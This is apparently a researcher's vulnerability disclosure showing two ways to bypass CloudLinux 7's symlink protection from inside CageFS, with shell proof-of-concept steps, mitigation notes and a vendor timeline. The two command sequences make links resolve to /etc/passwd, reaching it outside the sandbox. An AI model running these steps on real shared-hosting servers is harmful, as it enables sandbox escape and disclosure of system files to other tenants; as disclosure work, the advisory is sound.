Vulnerability

Affected software: CloudLinux 7 kernel, current version, as of last article update

fs.protected_symlinks_create=1 can be bypassed using 2 methods. Method 1 was used in ZSA-2019-7 exploit - it would not be possible to exploit ZSA-2019-7 if fs.protected_symlinks_create was enabled and not bypassable.

Method 1

# Execute as user inside CageFS:
mkdir etc
touch etc/passwd
mkdir -p a/b/c/d
ln -s ../../../../etc/passwd a/b/c/d/link
mkdir test
mv a/b/c/d test/
# test/d/link now points to /etc/passwd:
cat test/d/link
# If You cat this link outside CageFS, it will point to /etc/passwd outside CageFS:
cat /home/user/test/d/link

Method 2

# Execute as user inside CageFS:
touch test
exec 10<test
ln -s /proc/$$/fd/10 link
exec 10<&-
exec 10</etc/passwd
# link now points to /etc/passwd:
cat link
# If You cat this link outside CageFS, it will point to /etc/passwd INSIDE CageFS,
# so it is not as bad as method 1 since it has very limited attack vector:
cat /home/user/link

Solution

Currently only CL 7 hybrid or newer kernel is supported, and cPanel processes only (at least that is what documentation claims) when You enable both fs.protected_symlinks_create and fs.process_symlinks_by_task. There is still no universal symlink protection for CL 7 kernel, as was originally stated for fs.protected_symlinks_create.

Timeline

• 2019-08-16 - Vulnerability reported to vendor.
• 2019-08-19 - Response from vendor, work in progress, ETA end of Q3 2019.
• 2019-12-13 - Response from vendor, fix will be released soon.
• 2020-03-06 - Response from vendor, fix released for CloudLinux 8 and 7 (hybrid) kernels only and apparently for cPanel only instead of being universal fix.
• 2020-03-06 - Vendor says it can no longer reproduce vulnerability on standard CL 7 kernel.
• 2020-03-11 - Verified latest CL 7 kernel, vulnerability still exists.
• 2020-03-11 - Vendor denies claim, says that "by preventing user from creating symlinks and hardlinks to files that they don’t own" sentence in documentation does not say that this sysctl protects against attack with moving parent directory, so everything is fine (?!?!?!).
• 2020-03-12 - Finally some useful information from vendor, ticket escalated to support team manager.
• 2020-03-13 - Vendor says that documentation will be corrected and correct fix will be released on April 2020 merging fs.protected_symlinks_create with fs.process_symlinks_by_task under single sysctl.
• 2020-03-18 - Apologies from head of support.
• 2020-03-?? - Documentation states "When used outside CageFS (from cPanel tools for instance), fs.protected_symlinks_create isn't sufficient for symlink protection. To fully protect symlink access in this case, use fs.process_symlinks_by_task=1 in addition to fs.protected_symlinks_create=1." and "fs.process_symlinks_by_task is only available for CloudLinux 7 Hybrid for now and supports cPanel only.".
• 2020-05-31 - Still no universal symlink protection for CL 7 kernel, as was originally stated for fs.protected_symlinks_create. Public disclosure.